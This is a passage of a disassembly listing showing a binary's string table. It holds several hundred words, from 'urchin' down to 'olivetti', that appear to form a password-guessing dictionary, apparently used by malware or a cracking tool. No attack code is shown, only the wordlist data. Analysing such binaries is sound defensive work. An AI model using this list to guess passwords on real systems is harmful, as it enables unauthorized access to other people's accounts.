aUrchin db 'urchin',0 ; DATA XREF: ___:00430FE8o align 10h aUranus db 'uranus',0 ; DATA XREF: ___:00430FE4o align 4 aUpload db 'upload',0 ; DATA XREF: ___:00430FE0o align 10h aUnlock db 'unlock',0 ; DATA XREF: ___:00430FDCo align 4 aUnknown_1 db 'unknown',0 ; DATA XREF: ___:00430FD8o aUniversi db 'universi',0 ; DATA XREF: ___:00430FD4o align 4 aUniverse db 'universe',0 ; DATA XREF: ___:00430FD0o align 4 aUniversa db 'universa',0 ; DATA XREF: ___:00430FCCo align 4 aUniform db 'uniform',0 ; DATA XREF: ___:00430FC8o aUnicorn db 'unicorn',0 ; DATA XREF: ___:00430FC4o aUnhappy db 'unhappy',0 ; DATA XREF: ___:00430FC0o aUndo db 'undo',0 ; DATA XREF: ___:00430FBCo align 4 aUncle db 'uncle',0 ; DATA XREF: ___:00430FB8o align 4 aUmesh db 'umesh',0 ; DATA XREF: ___:00430FB4o align 4 aUgly db 'ugly',0 ; DATA XREF: ___:00430FB0o align 4 aTuttle db 'tuttle',0 ; DATA XREF: ___:00430FACo align 4 aTurn db 'turn',0 ; DATA XREF: ___:00430FA8o align 4 aTuesday db 'tuesday',0 ; DATA XREF: ___:00430FA4o aTubas db 'tubas',0 ; DATA XREF: ___:00430FA0o align 4 aTruth db 'truth',0 ; DATA XREF: ___:00430F9Co align 4 aTrue db 'true',0 ; DATA XREF: ___:00430F98o align 4 aTron db 'tron',0 ; DATA XREF: ___:00430F94o align 4 aTrombone db 'trombone',0 ; DATA XREF: ___:00430F90o align 10h aTrojan db 'trojan',0 ; DATA XREF: ___:00430F8Co align 4 aTrivial db 'trivial',0 ; DATA XREF: ___:00430F88o aTrisha db 'trisha',0 ; DATA XREF: ___:00430F84o align 4 aTrek db 'trek',0 ; DATA XREF: ___:00430F80o align 10h aTree db 'tree',0 ; DATA XREF: ___:00430F7Co align 4 aTrapdoor db 'trapdoor',0 ; DATA XREF: ___:00430F78o align 4 aTrap db 'trap',0 ; DATA XREF: ___:00430F74o align 4 aTransfer db 'transfer',0 ; DATA XREF: ___:00430F70o align 4 aTrails db 'trails',0 ; DATA XREF: ___:00430F6Co align 10h aTracy db 'tracy',0 ; DATA XREF: ___:00430F68o align 4 aTracie db 'tracie',0 ; DATA XREF: ___:00430F64o align 10h aTraci db 'traci',0 ; DATA XREF: ___:00430F60o align 4 aToyota db 'toyota',0 ; DATA XREF: ___:00430F5Co align 10h aToxic db 'toxic',0 ; DATA XREF: ___:00430F58o align 4 aTortoise db 'tortoise',0 ; DATA XREF: ___:00430F54o align 4 aTopograp db 'topograp',0 ; DATA XREF: ___:00430F50o align 10h aTomato db 'tomato',0 ; DATA XREF: ___:00430F4Co align 4 aTokenrin db 'tokenrin',0 ; DATA XREF: ___:00430F48o align 4 aToken db 'token',0 ; DATA XREF: ___:00430F44o align 4 aToggle db 'toggle',0 ; DATA XREF: ___:00430F40o align 4 aToad db 'toad',0 ; DATA XREF: ___:00430F3Co align 4 aTits db 'tits',0 ; DATA XREF: ___:00430F38o align 4 aTina db 'tina',0 ; DATA XREF: ___:00430F34o align 4 aTime db 'time',0 ; DATA XREF: ___:00430F30o align 4 aTiger db 'tiger',0 ; DATA XREF: ___:00430F2Co align 4 aTiffany db 'tiffany',0 ; DATA XREF: ___:00430F28o aThursday db 'thursday',0 ; DATA XREF: ___:00430F24o align 10h aThin db 'thin',0 ; DATA XREF: ___:00430F20o align 4 aTheresa db 'theresa',0 ; DATA XREF: ___:00430F1Co aThailand db 'thailand',0 ; DATA XREF: ___:00430F18o align 4 aText db 'text',0 ; DATA XREF: ___:00430F14o align 4 aTetris db 'tetris',0 ; DATA XREF: ___:00430F10o align 4 aTess db 'tess',0 ; DATA XREF: ___:00430F0Co align 4 aTerminat db 'terminat',0 ; DATA XREF: ___:00430F08o align 10h aTerminal db 'terminal',0 ; DATA XREF: ___:00430F04o align 4 aTera db 'tera',0 ; DATA XREF: ___:00430F00o align 4 aTennis db 'tennis',0 ; DATA XREF: ___:00430EFCo align 4 aTemptati db 'temptati',0 ; DATA XREF: ___:00430EF8o align 4 aTelnet db 'telnet',0 ; DATA XREF: ___:00430EF4o align 10h aTelephon db 'telephon',0 ; DATA XREF: ___:00430EF0o align 4 aTeenage db 'teenage',0 ; DATA XREF: ___:00430EECo aTeen db 'teen',0 ; DATA XREF: ___:00430EE8o align 4 aTech db 'tech',0 ; DATA XREF: ___:00430EE4o align 4 aTears db 'tears',0 ; DATA XREF: ___:00430EE0o align 4 aTeapot db 'teapot',0 ; DATA XREF: ___:00430EDCo align 4 aTeam db 'team',0 ; DATA XREF: ___:00430ED8o align 4 aTaylor db 'taylor',0 ; DATA XREF: ___:00430ED0o align 4 aTarragon db 'tarragon',0 ; DATA XREF: ___:00430ECCo align 10h aTarget db 'target',0 ; DATA XREF: ___:00430EC8o align 4 aTara db 'tara',0 ; DATA XREF: ___:00430EC4o align 10h aTape db 'tape',0 ; DATA XREF: ___:00430EC0o align 4 aTango db 'tango',0 ; DATA XREF: ___:00430EBCo align 10h aTangerin db 'tangerin',0 ; DATA XREF: ___:00430EB8o align 4 aTammy db 'tammy',0 ; DATA XREF: ___:00430EB4o align 4 aTamie db 'tamie',0 ; DATA XREF: ___:00430EB0o align 4 aTami db 'tami',0 ; DATA XREF: ___:00430EACo align 4 aTamara db 'tamara',0 ; DATA XREF: ___:00430EA8o align 4 aTall db 'tall',0 ; DATA XREF: ___:00430EA4o align 4 aTalk db 'talk',0 ; DATA XREF: ___:00430EA0o align 4 aTabasco db 'tabasco',0 ; DATA XREF: ___:00430E9Co aSysop db 'sysop',0 ; DATA XREF: ___:00430E98o align 4 aSysadmin db 'sysadmin',0 ; DATA XREF: ___:00430E94o align 4 aSymmetry db 'symmetry',0 ; DATA XREF: ___:00430E90o align 4 aSybil db 'sybil',0 ; DATA XREF: ___:00430E8Co align 4 aSword db 'sword',0 ; DATA XREF: ___:00430E88o align 4 aSwitch db 'switch',0 ; DATA XREF: ___:00430E84o align 4 aSweat db 'sweat',0 ; DATA XREF: ___:00430E80o align 4 aSwearer db 'swearer',0 ; DATA XREF: ___:00430E7Co aSuzie db 'suzie',0 ; DATA XREF: ___:00430E78o align 4 aSuzanne db 'suzanne',0 ; DATA XREF: ___:00430E74o aSusie db 'susie',0 ; DATA XREF: ___:00430E70o align 4 aSusanne db 'susanne',0 ; DATA XREF: ___:00430E6Co aSusan db 'susan',0 ; DATA XREF: ___:00430E68o align 4 aSurfing db 'surfing',0 ; DATA XREF: ___:00430E64o aSurfer db 'surfer',0 ; DATA XREF: ___:00430E60o align 4 aSupporte db 'supporte',0 ; DATA XREF: ___:00430E5Co align 10h aSupport db 'support',0 ; DATA XREF: ___:00430E58o aSupervis db 'supervis',0 ; DATA XREF: ___:00430E54o align 4 aSuperuse db 'superuse',0 ; DATA XREF: ___:00430E50o align 10h aSupersta db 'supersta',0 ; DATA XREF: ___:00430E4Co align 4 aSuperson db 'superson',0 ; DATA XREF: ___:00430E48o align 4 aSuperman db 'superman',0 ; DATA XREF: ___:00430E44o align 4 aSunday db 'sunday',0 ; DATA XREF: ___:00430E40o align 4 aSummer db 'summer',0 ; DATA XREF: ___:00430E3Co align 4 aSucks db 'sucks',0 ; DATA XREF: ___:00430E38o align 4 aSuckmydi db 'suckmydi',0 ; DATA XREF: ___:00430E34o align 4 aSuck db 'suck',0 ; DATA XREF: ___:00430E30o align 10h aSuccess db 'success',0 ; DATA XREF: ___:00430E2Co aSubway db 'subway',0 ; DATA XREF: ___:00430E28o align 10h aSubscrib db 'subscrib',0 ; DATA XREF: ___:00430E24o align 4 aStuttgar db 'stuttgar',0 ; DATA XREF: ___:00430E20o align 4 aStrip db 'strip',0 ; DATA XREF: ___:00430E18o align 10h aString db 'string',0 ; DATA XREF: ___:00430E14o align 4 aStreetfi db 'streetfi',0 ; DATA XREF: ___:00430E10o align 4 aStratfor db 'stratfor',0 ; DATA XREF: ___:00430E0Co align 10h aStrangle db 'strangle',0 ; DATA XREF: ___:00430E08o align 4 aStrange db 'strange',0 ; DATA XREF: ___:00430E04o aStones db 'stones',0 ; DATA XREF: ___:00430E00o align 4 aStoned db 'stoned',0 ; DATA XREF: ___:00430DFCo align 4 aStoneage db 'stoneage',0 ; DATA XREF: ___:00430DF8o align 10h aSteve db 'steve',0 ; DATA XREF: ___:00430DF4o align 4 aStereo db 'stereo',0 ; DATA XREF: ___:00430DF0o align 10h aStephani db 'stephani',0 ; DATA XREF: ___:00430DECo align 4 aSteph db 'steph',0 ; DATA XREF: ___:00430DE8o align 4 aSteel db 'steel',0 ; DATA XREF: ___:00430DE4o align 4 aSteal db 'steal',0 ; DATA XREF: ___:00430DE0o align 4 aSteak db 'steak',0 ; DATA XREF: ___:00430DDCo align 4 aStarwars db 'starwars',0 ; DATA XREF: ___:00430DD8o align 4 aStartup db 'startup',0 ; DATA XREF: ___:00430DD4o aStartrek db 'startrek',0 ; DATA XREF: ___:00430DD0o align 4 aStart db 'start',0 ; DATA XREF: sub_40EE72+2069o ; ___:00430DCCo align 4 aStarship db 'starship',0 ; DATA XREF: ___:00430DC8o align 10h aStar db 'star',0 ; DATA XREF: ___:00430DC4o align 4 aStacy db 'stacy',0 ; DATA XREF: ___:00430DC0o align 10h aStacie db 'stacie',0 ; DATA XREF: ___:00430DBCo align 4 aStaci db 'staci',0 ; DATA XREF: ___:00430DB8o align 10h aStacey db 'stacey',0 ; DATA XREF: ___:00430DB4o align 4 aSr71 db 'sr71',0 ; DATA XREF: ___:00430DB0o align 10h aSquires db 'squires',0 ; DATA XREF: ___:00430DACo aSpunk db 'spunk',0 ; DATA XREF: ___:00430DA8o align 10h aSpringer db 'springer',0 ; DATA XREF: ___:00430DA4o align 4 aSpring db 'spring',0 ; DATA XREF: ___:00430DA0o align 4 aSpred db 'spred',0 ; DATA XREF: ___:00430D9Co align 4 aSpit db 'spit',0 ; DATA XREF: ___:00430D98o align 4 aSpiderma db 'spiderma',0 ; DATA XREF: ___:00430D94o align 10h aSpider db 'spider',0 ; DATA XREF: ___:00430D90o align 4 aSpice db 'spice',0 ; DATA XREF: ___:00430D8Co align 10h aSpell db 'spell',0 ; DATA XREF: ___:00430D88o align 4 aSpear db 'spear',0 ; DATA XREF: ___:00430D84o align 10h aSparrows db 'sparrows',0 ; DATA XREF: ___:00430D80o align 4 aSpaceshi db 'spaceshi',0 ; DATA XREF: ___:00430D7Co align 4 aSouth db 'south',0 ; DATA XREF: ___:00430D78o align 10h aSource db 'source',0 ; DATA XREF: ___:00430D74o align 4 aSossina db 'sossina',0 ; DATA XREF: ___:00430D70o aSonya db 'sonya',0 ; DATA XREF: ___:00430D6Co align 4 aSonic db 'sonic',0 ; DATA XREF: ___:00430D68o align 10h aSonia db 'sonia',0 ; DATA XREF: ___:00430D64o align 4 aSondra db 'sondra',0 ; DATA XREF: ___:00430D60o align 10h aSomebody db 'somebody',0 ; DATA XREF: ___:00430D5Co align 4 aSoftware db 'software',0 ; DATA XREF: ___:00430D58o align 4 aSoft db 'soft',0 ; DATA XREF: ___:00430D54o align 10h aSodomy db 'sodomy',0 ; DATA XREF: ___:00430D50o align 4 aSocrates db 'socrates',0 ; DATA XREF: ___:00430D4Co align 4 aSocial db 'social',0 ; DATA XREF: ___:00430D48o align 4 aSoap db 'soap',0 ; DATA XREF: ___:00430D44o align 4 aSnoopy db 'snoopy',0 ; DATA XREF: ___:00430D40o align 4 aSnatch db 'snatch',0 ; DATA XREF: ___:00430D3Co align 4 aSnake db 'snake',0 ; DATA XREF: ___:00430D38o align 4 aSnafu db 'snafu',0 ; DATA XREF: ___:00430D34o align 4 aSnach db 'snach',0 ; DATA XREF: ___:00430D30o align 4 aSmut db 'smut',0 ; DATA XREF: ___:00430D2Co align 4 aSmtp db 'smtp',0 ; DATA XREF: ___:00430D28o align 4 aSmother db 'smother',0 ; DATA XREF: ___:00430D24o aSmooch db 'smooch',0 ; DATA XREF: ___:00430D20o align 4 aSmiles db 'smiles',0 ; DATA XREF: ___:00430D1Co align 4 aSmile db 'smile',0 ; DATA XREF: ___:00430D18o align 4 aSmart db 'smart',0 ; DATA XREF: ___:00430D14o align 4 aSmall db 'small',0 ; DATA XREF: ___:00430D10o align 4 aSlut db 'slut',0 ; DATA XREF: ___:00430D0Co align 4 aSlow db 'slow',0 ; DATA XREF: ___:00430D08o align 4 aSliders db 'sliders',0 ; DATA XREF: ___:00430D04o aSlick db 'slick',0 ; DATA XREF: ___:00430D00o align 4 aSlave db 'slave',0 ; DATA XREF: ___:00430CFCo align 4 aSkull db 'skull',0 ; DATA XREF: ___:00430CF8o align 4 aSite db 'site',0 ; DATA XREF: ___:00430CF4o align 4 aSingle db 'single',0 ; DATA XREF: ___:00430CF0o align 4 aSinger db 'singer',0 ; DATA XREF: ___:00430CECo align 4 aSimulati db 'simulati',0 ; DATA XREF: ___:00430CE8o align 10h aSimpsons db 'simpsons',0 ; DATA XREF: ___:00430CE4o align 4 aSimple db 'simple',0 ; DATA XREF: ___:00430CE0o align 4 aSimon db 'simon',0 ; DATA XREF: ___:00430CDCo align 4 aSimcity db 'simcity',0 ; DATA XREF: ___:00430CD8o aSilver db 'silver',0 ; DATA XREF: ___:00430CD4o align 4 aSignatur db 'signatur',0 ; DATA XREF: ___:00430CD0o align 4 aSierra db 'sierra',0 ; DATA XREF: ___:00430CCCo align 10h aSick db 'sick',0 ; DATA XREF: ___:00430CC8o align 4 aShuttle db 'shuttle',0 ; DATA XREF: ___:00430CC4o aShort db 'short',0 ; DATA XREF: ___:00430CC0o align 4 aShivers db 'shivers',0 ; DATA XREF: ___:00430CBCo aShiva db 'shiva',0 ; DATA XREF: ___:00430CB8o align 4 aShitpot db 'shitpot',0 ; DATA XREF: ___:00430CB4o aShit db 'shit',0 ; DATA XREF: ___:00430CB0o align 4 aShirley db 'shirley',0 ; DATA XREF: ___:00430CACo aShift db 'shift',0 ; DATA XREF: ___:00430CA8o align 4 aSherri db 'sherri',0 ; DATA XREF: ___:00430CA4o align 10h aShell db 'shell',0 ; DATA XREF: ___:00430CA0o align 4 aSheldon db 'sheldon',0 ; DATA XREF: ___:00430C9Co aSheffiel db 'sheffiel',0 ; DATA XREF: ___:00430C98o align 4 aSharon db 'sharon',0 ; DATA XREF: ___:00430C94o align 4 aSharks db 'sharks',0 ; DATA XREF: ___:00430C90o align 4 aShark db 'shark',0 ; DATA XREF: ___:00430C8Co align 4 aSharc db 'sharc',0 ; DATA XREF: ___:00430C88o align 4 aShannon db 'shannon',0 ; DATA XREF: ___:00430C84o aSexy db 'sexy',0 ; DATA XREF: ___:00430C80o align 4 aSesame db 'sesame',0 ; DATA XREF: ___:00430C7Co align 4 aService db 'service',0 ; DATA XREF: ___:00430C78o aSerial_0 db 'serial',0 ; DATA XREF: ___:00430C74o align 4 aSerenity db 'serenity',0 ; DATA XREF: ___:00430C70o align 10h aSentry db 'sentry',0 ; DATA XREF: ___:00430C6Co align 4 aSentinel db 'sentinel',0 ; DATA XREF: ___:00430C68o align 4 aSensor db 'sensor',0 ; DATA XREF: ___:00430C64o align 4 aSega db 'sega',0 ; DATA XREF: ___:00430C60o align 4 aSeed db 'seed',0 ; DATA XREF: ___:00430C5Co align 4 aSecurity db 'security',0 ; DATA XREF: ___:00430C58o align 4 aSearch db 'search',0 ; DATA XREF: ___:00430C54o align 10h aScout db 'scout',0 ; DATA XREF: ___:00430C50o align 4 aScotty db 'scotty',0 ; DATA XREF: ___:00430C4Co align 10h aScott db 'scott',0 ; DATA XREF: ___:00430C48o align 4 aScorpion db 'scorpion',0 ; DATA XREF: ___:00430C44o align 4 aScifi db 'scifi',0 ; DATA XREF: ___:00430C40o align 4 aSchoolsucks db 'schoolsucks',0 ; DATA XREF: ___:00430C3Co aSchool db 'school',0 ; DATA XREF: ___:00430C38o align 10h aScheme db 'scheme',0 ; DATA XREF: ___:00430C34o align 4 aScamper db 'scamper',0 ; DATA XREF: ___:00430C30o aSaxon db 'saxon',0 ; DATA XREF: ___:00430C2Co align 4 aSaturn db 'saturn',0 ; DATA XREF: ___:00430C28o align 10h aSaturday db 'saturday',0 ; DATA XREF: ___:00430C24o align 4 aSarah db 'sarah',0 ; DATA XREF: ___:00430C20o align 4 aSara db 'sara',0 ; DATA XREF: ___:00430C1Co align 4 aSandy db 'sandy',0 ; DATA XREF: ___:00430C18o align 4 aSandra db 'sandra',0 ; DATA XREF: ___:00430C14o align 4 aSample db 'sample',0 ; DATA XREF: ___:00430C10o align 4 aSamantha db 'samantha',0 ; DATA XREF: ___:00430C0Co align 10h aSalt db 'salt',0 ; DATA XREF: ___:00430C08o align 4 aSale db 'sale',0 ; DATA XREF: ___:00430C04o align 10h aSalami db 'salami',0 ; DATA XREF: ___:00430C00o align 4 aSafe db 'safe',0 ; DATA XREF: ___:00430BFCo align 10h aRuth db 'ruth',0 ; DATA XREF: ___:00430BF8o align 4 aRush db 'rush',0 ; DATA XREF: ___:00430BF4o align 10h aRunning_0 db 'running',0 ; DATA XREF: ___:00430BF0o aRules db 'rules',0 ; DATA XREF: ___:00430BECo align 10h aRude db 'rude',0 ; DATA XREF: ___:00430BE8o align 4 aRuby db 'ruby',0 ; DATA XREF: ___:00430BE4o align 10h aRuben db 'ruben',0 ; DATA XREF: ___:00430BE0o align 4 aRubber db 'rubber',0 ; DATA XREF: ___:00430BDCo align 10h aRough db 'rough',0 ; DATA XREF: ___:00430BD8o align 4 aRoses db 'roses',0 ; DATA XREF: ___:00430BD4o align 10h aRosemary db 'rosemary',0 ; DATA XREF: ___:00430BD0o align 4 aRosebud db 'rosebud',0 ; DATA XREF: ___:00430BCCo aRose db 'rose',0 ; DATA XREF: ___:00430BC8o align 4 aRonald db 'ronald',0 ; DATA XREF: ___:00430BC4o align 4 aRomulan db 'romulan',0 ; DATA XREF: ___:00430BC0o aRomeo db 'romeo',0 ; DATA XREF: ___:00430BBCo align 4 aRomano db 'romano',0 ; DATA XREF: ___:00430BB8o align 4 aRolex db 'rolex',0 ; DATA XREF: ___:00430BB4o align 4 aRodent db 'rodent',0 ; DATA XREF: ___:00430BB0o align 4 aRockyhor db 'rockyhor',0 ; DATA XREF: ___:00430BACo align 4 aRocky db 'rocky',0 ; DATA XREF: ___:00430BA8o align 10h aRock db 'rock',0 ; DATA XREF: ___:00430BA4o align 4 aRocheste db 'rocheste',0 ; DATA XREF: ___:00430BA0o align 4 aRochelle db 'rochelle',0 ; DATA XREF: ___:00430B9Co align 10h aRobyn db 'robyn',0 ; DATA XREF: ___:00430B98o align 4 aRobotics db 'robotics',0 ; DATA XREF: ___:00430B94o align 4 aRobot db 'robot',0 ; DATA XREF: ___:00430B90o align 4 aRobin db 'robin',0 ; DATA XREF: ___:00430B8Co align 4 aRobert db 'robert',0 ; DATA XREF: ___:00430B88o align 4 aRoach db 'roach',0 ; DATA XREF: ___:00430B84o align 4 aRisc db 'risc',0 ; DATA XREF: ___:00430B80o align 4 aRipple db 'ripple',0 ; DATA XREF: ___:00430B7Co align 4 aRiot db 'riot',0 ; DATA XREF: ___:00430B78o align 4 aRing db 'ring',0 ; DATA XREF: ___:00430B74o align 4 aRightwin db 'rightwin',0 ; DATA XREF: ___:00430B70o align 10h aRight db 'right',0 ; DATA XREF: ___:00430B6Co align 4 aRiffraff db 'riffraff',0 ; DATA XREF: ___:00430B68o align 4 aRick db 'rick',0 ; DATA XREF: ___:00430B64o align 4 aRich db 'rich',0 ; DATA XREF: ___:00430B60o align 4 aRhino db 'rhino',0 ; DATA XREF: ___:00430B5Co align 4 aReveal db 'reveal',0 ; DATA XREF: ___:00430B58o align 4 aResistan db 'resistan',0 ; DATA XREF: ___:00430B54o align 10h aRepublic db 'republic',0 ; DATA XREF: ___:00430B50o align 4 aReport db 'report',0 ; DATA XREF: ___:00430B4Co align 4 aRent db 'rent',0 ; DATA XREF: ___:00430B48o align 4 aReno db 'reno',0 ; DATA XREF: ___:00430B44o align 4 aRenee db 'renee',0 ; DATA XREF: ___:00430B40o align 4 aRemote db 'remote',0 ; DATA XREF: ___:00430B3Co align 4 aRelease db 'release',0 ; DATA XREF: ___:00430B38o aRegional db 'regional',0 ; DATA XREF: ___:00430B34o align 4 aReferenc db 'referenc',0 ; DATA XREF: ___:00430B30o align 4 aRedhead db 'redhead',0 ; DATA XREF: ___:00430B2Co aReddawn db 'reddawn',0 ; DATA XREF: ___:00430B28o aRecord db 'record',0 ; DATA XREF: ___:00430B24o align 4 aRebel db 'rebel',0 ; DATA XREF: ___:00430B20o align 4 aRebecca db 'rebecca',0 ; DATA XREF: ___:00430B1Co aRebal db 'rebal',0 ; DATA XREF: ___:00430B18o align 4 aReaper db 'reaper',0 ; DATA XREF: ___:00430B14o align 4 aReam db 'ream',0 ; DATA XREF: ___:00430B10o align 4 aReally db 'really',0 ; DATA XREF: ___:00430B0Co align 4 aReality db 'reality',0 ; DATA XREF: ___:00430B08o aReagan db 'reagan',0 ; DATA XREF: ___:00430B04o align 4 aRazor db 'razor',0 ; DATA XREF: ___:00430B00o align 4 aRascal db 'rascal',0 ; DATA XREF: ___:00430AFCo align 4 aRape db 'rape',0 ; DATA XREF: ___:00430AF8o align 4 aRaleigh db 'raleigh',0 ; DATA XREF: ___:00430AF0o aRaindrop db 'raindrop',0 ; DATA XREF: ___:00430AECo align 4 aRainbow db 'rainbow',0 ; DATA XREF: ___:00430AE8o aRain db 'rain',0 ; DATA XREF: ___:00430AE4o align 4 aRaid db 'raid',0 ; DATA XREF: ___:00430AE0o align 10h aRachmani db 'rachmani',0 ; DATA XREF: ___:00430ADCo align 4 aRachelle db 'rachelle',0 ; DATA XREF: ___:00430AD8o align 4 aRachel db 'rachel',0 ; DATA XREF: ___:00430AD4o align 10h aRabbit db 'rabbit',0 ; DATA XREF: ___:00430AD0o align 4 aQwerty db 'qwerty',0 ; DATA XREF: ___:00430ACCo align 10h aQwert db 'qwert',0 ; DATA XREF: ___:00430AC8o align 4 aQuebec db 'quebec',0 ; DATA XREF: ___:00430AC4o align 10h aPussy db 'pussy',0 ; DATA XREF: ___:00430AC0o align 4 aPuppet db 'puppet',0 ; DATA XREF: ___:00430ABCo align 10h aPunk db 'punk',0 ; DATA XREF: ___:00430AB8o align 4 aPunisher db 'punisher',0 ; DATA XREF: ___:00430AB4o align 4 aPuneet db 'puneet',0 ; DATA XREF: ___:00430AB0o align 4 aPumpkin db 'pumpkin',0 ; DATA XREF: ___:00430AACo aPuke db 'puke',0 ; DATA XREF: ___:00430AA8o align 4 aPuck db 'puck',0 ; DATA XREF: ___:00430AA4o align 4 aPublic db 'public',0 ; DATA XREF: ___:00430AA0o align 4 aPsychopa db 'psychopa',0 ; DATA XREF: ___:00430A9Co align 4 aPsycho db 'psycho',0 ; DATA XREF: ___:00430A98o align 10h aProtozoa db 'protozoa',0 ; DATA XREF: ___:00430A94o align 4 aProtect db 'protect',0 ; DATA XREF: ___:00430A90o aPrompt db 'prompt',0 ; DATA XREF: ___:00430A8Co align 4 aProgram db 'program',0 ; DATA XREF: ___:00430A88o aProfile db 'profile',0 ; DATA XREF: ___:00430A84o aProfesso db 'professo',0 ; DATA XREF: ___:00430A80o align 4 aProcesso db 'processo',0 ; DATA XREF: ___:00430A7Co align 4 aProceed db 'proceed',0 ; DATA XREF: ___:00430A78o aPrivs db 'privs',0 ; DATA XREF: ___:00430A74o align 4 aPrivate db 'private',0 ; DATA XREF: ___:00430A70o aPriv db 'priv',0 ; DATA XREF: ___:00430A6Co align 4 aPrinter db 'printer',0 ; DATA XREF: ___:00430A68o aPrinceto db 'princeto',0 ; DATA XREF: ___:00430A64o align 4 aPrince db 'prince',0 ; DATA XREF: ___:00430A60o align 10h aPresto db 'presto',0 ; DATA XREF: ___:00430A5Co align 4 aPrelude db 'prelude',0 ; DATA XREF: ___:00430A58o aPrecious db 'precious',0 ; DATA XREF: ___:00430A54o align 4 aPraise db 'praise',0 ; DATA XREF: ___:00430A50o align 4 aPower db 'power',0 ; DATA XREF: ___:00430A4Co align 4 aPoster db 'poster',0 ; DATA XREF: ___:00430A48o align 4 aPost db 'post',0 ; DATA XREF: ___:00430A44o align 4 aPorsche db 'porsche',0 ; DATA XREF: ___:00430A40o aPorno db 'porno',0 ; DATA XREF: ___:00430A3Co align 4 aPorn db 'porn',0 ; DATA XREF: ___:00430A38o align 4 aPork db 'pork',0 ; DATA XREF: ___:00430A34o align 4 aPoor db 'poor',0 ; DATA XREF: ___:00430A30o align 4 aPoop db 'poop',0 ; DATA XREF: ___:00430A2Co align 4 aPonderin db 'ponderin',0 ; DATA XREF: ___:00430A28o align 4 aPolynomi db 'polynomi',0 ; DATA XREF: ___:00430A24o align 4 aPolly db 'polly',0 ; DATA XREF: ___:00430A20o align 4 aPolice db 'police',0 ; DATA XREF: ___:00430A1Co align 4 aPoetry db 'poetry',0 ; DATA XREF: ___:00430A18o align 4 aPlymouth db 'plymouth',0 ; DATA XREF: ___:00430A14o align 4 aPluto db 'pluto',0 ; DATA XREF: ___:00430A10o align 10h aPlover db 'plover',0 ; DATA XREF: ___:00430A0Co align 4 aPlayboy db 'playboy',0 ; DATA XREF: ___:00430A08o aPlane db 'plane',0 ; DATA XREF: ___:00430A04o align 4 aPizza db 'pizza',0 ; DATA XREF: ___:00430A00o align 10h aPiss db 'piss',0 ; DATA XREF: ___:004309FCo align 4 aPinname db 'pinname',0 ; DATA XREF: ___:004309F8o aPimp db 'pimp',0 ; DATA XREF: ___:004309F4o align 4 aPierre db 'pierre',0 ; DATA XREF: ___:004309F0o align 10h aPick db 'pick',0 ; DATA XREF: ___:004309ECo align 4 aPhuck db 'phuck',0 ; DATA XREF: ___:004309E8o align 10h aPhreak db 'phreak',0 ; DATA XREF: ___:004309E4o align 4 aPhrase db 'phrase',0 ; DATA XREF: ___:004309E0o align 10h aPhrack db 'phrack',0 ; DATA XREF: ___:004309DCo align 4 aPhoton db 'photon',0 ; DATA XREF: ___:004309D8o align 10h aPhone db 'phone',0 ; DATA XREF: ___:004309D4o align 4 aPhoenix db 'phoenix',0 ; DATA XREF: ___:004309D0o aPhilip db 'philip',0 ; DATA XREF: ___:004309CCo align 4 aPhil db 'phil',0 ; DATA XREF: ___:004309C8o align 10h aPeter db 'peter',0 ; DATA XREF: ___:004309C4o align 4 aPete db 'pete',0 ; DATA XREF: ___:004309C0o align 10h aPervert db 'pervert',0 ; DATA XREF: ___:004309BCo aPersona db 'persona',0 ; DATA XREF: ___:004309B8o aPersimmo db 'persimmo',0 ; DATA XREF: ___:004309B4o align 4 aPermit db 'permit',0 ; DATA XREF: ___:004309B0o align 4 aPerfect db 'perfect',0 ; DATA XREF: ___:004309ACo aPercolat db 'percolat',0 ; DATA XREF: ___:004309A8o align 4 aPepper db 'pepper',0 ; DATA XREF: ___:004309A4o align 10h aPeoria db 'peoria',0 ; DATA XREF: ___:004309A0o align 4 aPentium db 'pentium',0 ; DATA XREF: ___:0043099Co aPenthous db 'penthous',0 ; DATA XREF: ___:00430998o align 4 aPentagra db 'pentagra',0 ; DATA XREF: ___:00430994o align 4 aPentagon db 'pentagon',0 ; DATA XREF: ___:00430990o align 4 aPenname db 'penname',0 ; DATA XREF: ___:0043098Co aPenis db 'penis',0 ; DATA XREF: ___:00430988o align 4 aPenguin db 'penguin',0 ; DATA XREF: ___:00430984o aPenelope db 'penelope',0 ; DATA XREF: ___:00430980o align 4 aPencil db 'pencil',0 ; DATA XREF: ___:0043097Co align 10h aPecker db 'pecker',0 ; DATA XREF: ___:00430978o align 4 aPeanuts db 'peanuts',0 ; DATA XREF: ___:00430974o aPaula db 'paula',0 ; DATA XREF: ___:00430970o align 4 aPatty db 'patty',0 ; DATA XREF: ___:0043096Co align 10h aPatriot db 'patriot',0 ; DATA XREF: ___:00430968o aPatricia db 'patricia',0 ; DATA XREF: ___:00430964o align 4 aPaste db 'paste',0 ; DATA XREF: ___:00430960o align 4 aPassphra db 'passphra',0 ; DATA XREF: ___:0043095Co align 4 aPascal db 'pascal',0 ; DATA XREF: ___:00430958o align 10h aPapers db 'papers',0 ; DATA XREF: ___:00430954o align 4 aPaper db 'paper',0 ; DATA XREF: ___:00430950o align 10h aPapa db 'papa',0 ; DATA XREF: ___:0043094Co align 4 aPamela db 'pamela',0 ; DATA XREF: ___:00430948o align 10h aPakistan db 'pakistan',0 ; DATA XREF: ___:00430944o align 4 aPaint db 'paint',0 ; DATA XREF: ___:00430940o align 4 aPainless db 'painless',0 ; DATA XREF: ___:0043093Co align 10h aPacker db 'packer',0 ; DATA XREF: ___:00430938o align 4 aPackard db 'packard',0 ; DATA XREF: ___:00430934o aPacific db 'pacific',0 ; DATA XREF: ___:00430930o aOxford db 'oxford',0 ; DATA XREF: ___:0043092Co align 10h aOutside db 'outside',0 ; DATA XREF: ___:00430928o aOutput db 'output',0 ; DATA XREF: ___:00430924o align 10h aOutlaw db 'outlaw',0 ; DATA XREF: ___:00430920o align 4 aOutdoors db 'outdoors',0 ; DATA XREF: ___:0043091Co align 4 aOsiris db 'osiris',0 ; DATA XREF: ___:00430918o align 4 aOscar db 'oscar',0 ; DATA XREF: ___:00430914o align 4 aOrwell db 'orwell',0 ; DATA XREF: ___:00430910o align 4 aOrient db 'orient',0 ; DATA XREF: ___:0043090Co align 4 aOrca db 'orca',0 ; DATA XREF: ___:00430908o align 4 aOperator db 'operator',0 ; DATA XREF: ___:00430904o align 4 aOpensesa db 'opensesa',0 ; DATA XREF: ___:00430900o align 4 aOpenlock db 'openlock',0 ; DATA XREF: ___:004308FCo align 10h aOpening db 'opening',0 ; DATA XREF: ___:004308F8o aOmega db 'omega',0 ; DATA XREF: ___:004308F0o align 10h aOlivia db 'olivia',0 ; DATA XREF: ___:004308ECo align 4 aOlivetti db 'olivetti',0 